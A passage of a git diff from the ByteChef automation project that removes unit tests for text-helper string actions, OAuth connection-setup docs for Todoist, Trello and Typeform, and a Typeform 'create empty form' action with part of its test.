-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperRegularExpressionMatchTestActionTest {
-
-    private static boolean run(String text, String regEx, boolean ignoreCase, boolean multiline, boolean unicode) {
-        Parameters mockedParameters = MockParametersFactory.create(
-            Map.of(
-                TEXT, text,
-                REGULAR_EXPRESSION, regEx,
-                IGNORE_CASE, ignoreCase,
-                MULTILINE, multiline,
-                UNICODE, unicode));
-
-        return TextHelperRegularExpressionMatchTestAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void matchesSimplePattern() {
-        String text = "Hello 123";
-        String regex = "[A-Za-z]+\\s\\d+";
-
-        assertTrue(run(text, regex, false, false, false));
-    }
-
-    @Test
-    void doesNotMatchWhenPatternAbsent() {
-        String text = "No numbers here!";
-        String regex = "[A-Za-z]+\\s\\d+";
-
-        assertFalse(run(text, regex, false, false, false));
-    }
-
-    @Test
-    void ignoresCaseWhenFlagSet() {
-        String text = "HELLO 456";
-        String regex = "hello\\s\\d+";
-
-        assertTrue(run(text, regex, true, false, false));
-    }
-
-    @Test
-    void respectsCaseWhenFlagNotSet() {
-        String text = "HELLO 456";
-        String regex = "hello\\s\\d+";
-
-        assertFalse(run(text, regex, false, false, false));
-    }
-
-    @Test
-    void matchesMultilineText() {
-        String text = "Line1\nLine2 789";
-        String regex = "Line2\\s\\d+";
-
-        assertTrue(run(text, regex, false, true, false));
-    }
-
-    @Test
-    void handlesEmptyText() {
-        String text = "";
-        String regex = ".*";
-
-        assertTrue(run(text, regex, false, false, false));
-    }
-
-    @Test
-    void matchesUnicodeWhenFlagSet() {
-        String text = "Café 123";
-        String regex = "\\w+\\s\\d+";
-
-        assertTrue(run(text, regex, false, false, true));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperRemoveCharactersActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperRemoveCharactersActionTest.java
deleted file mode 100644
index 2dccb7a5e30..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperRemoveCharactersActionTest.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.CHARACTER;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperRemoveCharactersActionTest {
-
-    private static String run(String input, String charactersToRemove) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input, CHARACTER, charactersToRemove));
-
-        return TextHelperRemoveCharactersAction.perform(mockedParameters, null, null);
-    }
-
-    @Test
-    void removesSpecifiedCharacters() {
-        String input = "Hello, World!";
-        String result = run(input, "!");
-
-        assertEquals("Hello, World", result);
-    }
-
-    @Test
-    void doesNothingWhenNoCharactersMatch() {
-        String input = "HelloWorld";
-        String result = run(input, "l");
-
-        assertEquals("HeoWord", result);
-    }
-
-    @Test
-    void removesRepeatedCharacters() {
-        String input = "a-b-c-d";
-        String result = run(input, "-");
-
-        assertEquals("abcd", result);
-    }
-
-    @Test
-    void handlesEmptyInputString() {
-        String input = "";
-        String result = run(input, "a");
-
-        assertEquals("", result);
-    }
-
-    @Test
-    void handlesEmptyCharactersToRemove() {
-        String input = "Hello";
-        String result = run(input, "");
-
-        assertEquals("Hello", result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperRemoveSpecialCharactersActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperRemoveSpecialCharactersActionTest.java
deleted file mode 100644
index 69353f6038b..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperRemoveSpecialCharactersActionTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.params.ParameterizedTest;
-import org.junit.jupiter.params.provider.CsvSource;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperRemoveSpecialCharactersActionTest {
-
-    @ParameterizedTest
-    @CsvSource(value = {
-        "'Hello, World! 123', HelloWorld123",
-        "AbcXYZ123, AbcXYZ123",
-        "'!@#$%^&*() ', ''",
-        "'', ''"
-    })
-    void testPerform(String input, String expectedResult) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input == null ? "" : input));
-
-        assertEquals(expectedResult, TextHelperRemoveSpecialCharactersAction.perform(mockedParameters, null, null));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperSentenceCaseActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperSentenceCaseActionTest.java
deleted file mode 100644
index 375c2c8ff32..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperSentenceCaseActionTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.params.ParameterizedTest;
-import org.junit.jupiter.params.provider.CsvSource;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperSentenceCaseActionTest {
-
-    @ParameterizedTest
-    @CsvSource(value = {
-        "'hELLO world!', 'Hello world!'",
-        "'hELLO world! this is JAVA. how are YOU?', 'Hello world! This is java. How are you?'",
-        "'', ''",
-        "'hELLO', 'Hello'",
-        "'how are you? i am fine! good.', 'How are you? I am fine! Good.'",
-        "'This is already properly cased.', 'This is already properly cased.'",
-        "'  tHIS is a TeST. another SENTENCE? yes!  ', 'This is a test. Another sentence? Yes!'"
-    })
-    void testPerform(String input, String expectedResult) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input == null ? "" : input));
-
-        assertEquals(expectedResult, TextHelperSentenceCaseAction.perform(mockedParameters, null, null));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperShortenActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperShortenActionTest.java
deleted file mode 100644
index 4097380406d..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperShortenActionTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.LENGTH;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperShortenActionTest {
-
-    @Test
-    void testPerform() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, "123456789", LENGTH, 4));
-
-        String result = TextHelperShortenAction.perform(mockedParameters, null, null);
-
-        assertEquals(4, result.length());
-        assertEquals("1234", result);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperStripHtmlTagsActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperStripHtmlTagsActionTest.java
deleted file mode 100644
index de155792ec7..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperStripHtmlTagsActionTest.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.params.ParameterizedTest;
-import org.junit.jupiter.params.provider.CsvSource;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperStripHtmlTagsActionTest {
-
-    @ParameterizedTest
-    @CsvSource(value = {
-        "'<p>Hello <b>World</b></p>', 'Hello World'",
-        "'Visit <a href=''https://example.com''>Example</a>!', 'Visit Example!'",
-        "'', ''",
-        "'<div><span></span></div>', ''",
-        "'<div>Hello <span>World <b>Bold</b></span></div>', 'Hello World Bold'",
-        "'<p>Hello <b>World</p>', 'Hello World'"
-    })
-    void testPerform(String input, String expectedResult) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input == null ? "" : input));
-
-        assertEquals(expectedResult, TextHelperStripHtmlTagsAction.perform(mockedParameters, null, null));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperUnderscoreActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperUnderscoreActionTest.java
deleted file mode 100644
index efb35542a01..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperUnderscoreActionTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.params.ParameterizedTest;
-import org.junit.jupiter.params.provider.CsvSource;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperUnderscoreActionTest {
-
-    @ParameterizedTest
-    @CsvSource(value = {
-        "'Hello, World!', hello_world",
-        "'Java@#$ Is *** Awesome!!!', java_is_awesome",
-        "'  Too   many   spaces  ', too_many_spaces",
-        "'Version 2 Release 10', version_2_release_10"
-    })
-    void testPerform(String input, String expectedResult) {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(TEXT, input == null ? "" : input));
-
-        assertEquals(expectedResult, TextHelperUnderscoreAction.perform(mockedParameters, null, null));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperUrlEncodeDecodeKeyValuePairActionTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperUrlEncodeDecodeKeyValuePairActionTest.java
deleted file mode 100644
index 6ce20f2e48e..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/action/TextHelperUrlEncodeDecodeKeyValuePairActionTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.OPERATION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PAIRS;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import com.bytechef.component.text.helper.constant.OperationType;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperUrlEncodeDecodeKeyValuePairActionTest {
-
-    @Test
-    void testPerform() {
-        Map<String, String> pairs = Map.of("key1", "value1", "key2", "value2");
-
-        Parameters mockParametersEncode = MockParametersFactory.create(Map.of(
-            PAIRS, pairs, OPERATION, OperationType.ENCODE));
-
-        Map<String, String> encodedPairs = TextHelperUrlEncodeDecodeKeyValuePairAction.perform(
-            mockParametersEncode, null, null);
-
-        Parameters mockParametersDecode = MockParametersFactory.create(Map.of(
-            PAIRS, encodedPairs, OPERATION, OperationType.DECODE));
-
-        Map<String, String> decodedPairs = TextHelperUrlEncodeDecodeKeyValuePairAction.perform(
-            mockParametersDecode, null, null);
-
-        assertEquals(pairs, decodedPairs);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/util/TextHelperUtilsTest.java b/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/util/TextHelperUtilsTest.java
deleted file mode 100644
index f16ed4302f9..00000000000
--- a/server/libs/modules/components/text-helper/src/test/java/com/bytechef/component/text/helper/util/TextHelperUtilsTest.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.util;
-
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.DISPLAY_NAME;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.DOMAIN;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.EMAIL;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.LOCAL_PART;
-import static com.bytechef.component.text.helper.util.TextHelperUtils.getPatternEndIndex;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertThrows;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.component.exception.ProviderException;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Nikolina Spehar
- */
-class TextHelperUtilsTest {
-
-    @Test
-    void testGetPatternEndIndexNormalCase() {
-        String text = "Hello world! This is a sample text. Hello again!";
-        String pattern = "Hello";
-        int matchNumber = 2;
-
-        int result = getPatternEndIndex(pattern, text, matchNumber);
-        assertEquals(41, result);
-    }
-
-    @Test
-    void testGetPatternIndexPatternEndNotFound() {
-        String text = "Hello world!";
-        String pattern = "Hi";
-        int matchNumber = 1;
-
-        assertThrows(ProviderException.class, () -> getPatternEndIndex(pattern, text, matchNumber));
-    }
-
-    @Test
-    void testExtractByRegExSingleMatch() {
-        String input = "My email is test@example.com";
-        String regex = "[\\w.%+-]+@[\\w.-]+\\.[a-zA-Z]{2,}";
-
-        List<String> matches = TextHelperUtils.extractByRegEx(input, regex);
-
-        assertEquals(1, matches.size());
-        assertEquals("test@example.com", matches.get(0));
-    }
-
-    @Test
-    void testExtractByRegExMultipleMatches() {
-        String input = "Contact: test@example.com or admin@site.org";
-        String regex = "[\\w.%+-]+@[\\w.-]+\\.[a-zA-Z]{2,}";
-
-        List<String> matches = TextHelperUtils.extractByRegEx(input, regex);
-
-        assertEquals(2, matches.size());
-        assertEquals("test@example.com", matches.get(0));
-        assertEquals("admin@site.org", matches.get(1));
-    }
-
-    @Test
-    void testExtractByRegExNoMatch() {
-        String input = "No emails here!";
-        String regex = "[\\w.%+-]+@[\\w.-]+\\.[a-zA-Z]{2,}";
-
-        List<String> matches = TextHelperUtils.extractByRegEx(input, regex);
-
-        assertTrue(matches.isEmpty());
-    }
-
-    @Test
-    void testExtractByRegExSpecialCharacters() {
-        String input = "Symbols: $var1 #tag @user";
-        String regex = "[$#@]\\w+";
-
-        List<String> matches = TextHelperUtils.extractByRegEx(input, regex);
-
-        assertEquals(3, matches.size());
-        assertEquals("$var1", matches.get(0));
-        assertEquals("#tag", matches.get(1));
-        assertEquals("@user", matches.get(2));
-    }
-
-    @Test
-    void testExtractByRegExCaptureGroups() {
-        String input = "He said \"Hello\" and she said \"Hi\"";
-        String regex = "\"([^\"]*)\"";
-
-        List<String> matches = TextHelperUtils.extractByRegEx(input, regex);
-
-        assertEquals(2, matches.size());
-        assertEquals("\"Hello\"", matches.get(0));
-        assertEquals("\"Hi\"", matches.get(1));
-    }
-
-    @Test
-    void testParseEmail() {
-        String mockedEmailInput = "John Doe <john.doe@example.com>";
-
-        Map<String, String> result = TextHelperUtils.parseEmail(mockedEmailInput);
-
-        assertEquals("John Doe", result.get(DISPLAY_NAME));
-        assertEquals("john.doe", result.get(LOCAL_PART));
-        assertEquals("example.com", result.get(DOMAIN));
-        assertEquals("john.doe@example.com", result.get(EMAIL));
-    }
-}
diff --git a/server/libs/modules/components/todoist/src/main/resources/connection.mdx b/server/libs/modules/components/todoist/src/main/resources/connection.mdx
deleted file mode 100644
index 077273e5576..00000000000
--- a/server/libs/modules/components/todoist/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-Connect Todoist to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Todoist OAuth app
-1. Open the [Todoist App Management Console](https://app.todoist.com/app/settings/integrations/app-management).
-2. Click on **Add new integration**.
-3. Enter an app name (for example, `ByteChef Integration`). Click **Create App**.
-4. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://127.0.0.1:5173/callback`
-5. Click **Save settings**.
-6. Copy the **Client ID** and **Client secret**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/5GVuKzFOsxfADSfE8hDf?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/trello/src/main/resources/connection.mdx b/server/libs/modules/components/trello/src/main/resources/connection.mdx
deleted file mode 100644
index 6e322046f7e..00000000000
--- a/server/libs/modules/components/trello/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,22 +0,0 @@
-## Connection Setup
-
-### Create Trello App
-
-1. Navigate to https://trello.com/power-ups/admin.
-2. Click on **New**.
-3. Fill out form.
-4. Enter URL depending on your instance:
-    - `https://app.bytechef.io/callback` (Cloud)
-    - `http://localhost:5173/callback` (Local dev)
-5. Click on **Create**.
-6. Click on **API key**.
-7. Click on **Generate a new API key**.
-8. Your **API Key**.
-9. Click on **Token**.
-10. Click **Allow**.
-11. Now you can copy your **Token**.
-12. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6cc1c20d-1aba-4803-9e3a-912ea7ff7922?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/typeform/src/main/java/com/bytechef/component/typeform/action/TypeformCreateEmptyFormAction.java b/server/libs/modules/components/typeform/src/main/java/com/bytechef/component/typeform/action/TypeformCreateEmptyFormAction.java
deleted file mode 100644
index fcc248726ef..00000000000
--- a/server/libs/modules/components/typeform/src/main/java/com/bytechef/component/typeform/action/TypeformCreateEmptyFormAction.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.typeform.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.typeform.constant.TypeformConstants.HREF;
-import static com.bytechef.component.typeform.constant.TypeformConstants.ID;
-import static com.bytechef.component.typeform.constant.TypeformConstants.TITLE;
-import static com.bytechef.component.typeform.constant.TypeformConstants.TYPE;
-import static com.bytechef.component.typeform.constant.TypeformConstants.WORKSPACE;
-
-import com.bytechef.component.definition.ActionDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.typeform.util.TypeformUtils;
-import java.util.Map;
-
-/**
- * @author Monika Kušter
- */
-public class TypeformCreateEmptyFormAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("createEmptyForm")
-        .title("Create Empty Form")
-        .description("Creates a new empty form.")
-        .properties(
-            string(TITLE)
-                .label("Title")
-                .description("Title to use for the form.")
-                .required(true),
-            string(TYPE)
-                .label("Type")
-                .description("Form type for the typeform.")
-                .options(
-                    option("Quiz", "quiz"),
-                    option("Classification", "classification"),
-                    option("Score", "score"),
-                    option("Branching", "branching"),
-                    option("Classification branching", "classification_branching"),
-                    option("Score branching", "score_branching"))
-                .defaultValue("quiz")
-                .required(false),
-            string(WORKSPACE)
-                .label("Workspace URL")
-                .description("URL of the workspace to use for the typeform.")
-                .options((OptionsFunction<String>) TypeformUtils::getWorkspaceUrlOptions)
-                .required(true))
-        .output(
-            outputSchema(
-                object()
-                    .properties(
-                        string(ID),
-                        string(TYPE),
-                        string(TITLE),
-                        object(WORKSPACE)
-                            .properties(string(HREF)),
-                        object("theme")
-                            .properties(string("href")),
-                        object("settings")
-                            .properties(
-                                string("language"),
-                                string("progress_bar"),
-                                object("meta")
-                                    .properties(bool("allow_indexing")),
-                                bool("hide_navigation"),
-                                bool("is_public"),
-                                bool("is_trial"),
-                                bool("show_progress_bar"),
-                                bool("show_typeform_branding"),
-                                bool("are_uploads_public"),
-                                bool("show_time_to_complete"),
-                                bool("show_number_of_submissions"),
-                                bool("show_cookie_consent"),
-                                bool("show_question_number"),
-                                bool("show_key_hint_on_choices"),
-                                bool("autosave_progress"),
-                                bool("free_form_navigation"),
-                                bool("use_lead_qualification"),
-                                bool("pro_subdomain_enabled"),
-                                bool("auto_translate"),
-                                bool("partial_responses_to_all_integrations")),
-                        object("_links")
-                            .properties(
-                                string("display"),
-                                string("responses")))))
-        .perform(TypeformCreateEmptyFormAction::perform);
-
-    private TypeformCreateEmptyFormAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        return context.http(http -> http.post("/forms"))
-            .body(
-                Http.Body.of(
-                    TITLE, inputParameters.getRequiredString(TITLE),
-                    TYPE, inputParameters.getString(TYPE),
-                    WORKSPACE, Map.of(HREF, inputParameters.getRequiredString(WORKSPACE))))
-            .configuration(Http.responseType(Http.ResponseType.JSON))
-            .execute()
-            .getBody();
-    }
-}
diff --git a/server/libs/modules/components/typeform/src/main/resources/connection.mdx b/server/libs/modules/components/typeform/src/main/resources/connection.mdx
deleted file mode 100644
index fb51c86ede5..00000000000
--- a/server/libs/modules/components/typeform/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,20 +0,0 @@
-## Connection Setup
-
-### Using Personal Access Token
-
-1. Log into your [Typeform account](https://admin.typeform.com/).
-2. Select your profile avatar in the upper right.
-3. Select **Your settings**.
-4. Select **Personal tokens**.
-5. Select **Generate a new token**.
-6. Give your token a name, like `Bytechef Integration`.
-7. For scopes, select **Custom scopes**. Select these scopes:
-    - Forms: Read, Write
-    - Webhooks: Read, Write
-    - Workspaces: Read
-8. Click **Generate token**.
-9. Copy the token and use it to create a connection in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/At2vxJbo2Fb6UmXLS6Gc?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/typeform/src/test/java/com/bytechef/component/typeform/action/TypeformCreateEmptyFormActionTest.java b/server/libs/modules/components/typeform/src/test/java/com/bytechef/component/typeform/action/TypeformCreateEmptyFormActionTest.java
deleted file mode 100644
index 2fb95af589f..00000000000
--- a/server/libs/modules/components/typeform/src/test/java/com/bytechef/component/typeform/action/TypeformCreateEmptyFormActionTest.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.typeform.action;
-
-import static com.bytechef.component.typeform.constant.TypeformConstants.HREF;
-import static com.bytechef.component.typeform.constant.TypeformConstants.TITLE;
-import static com.bytechef.component.typeform.constant.TypeformConstants.TYPE;
-import static com.bytechef.component.typeform.constant.TypeformConstants.WORKSPACE;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
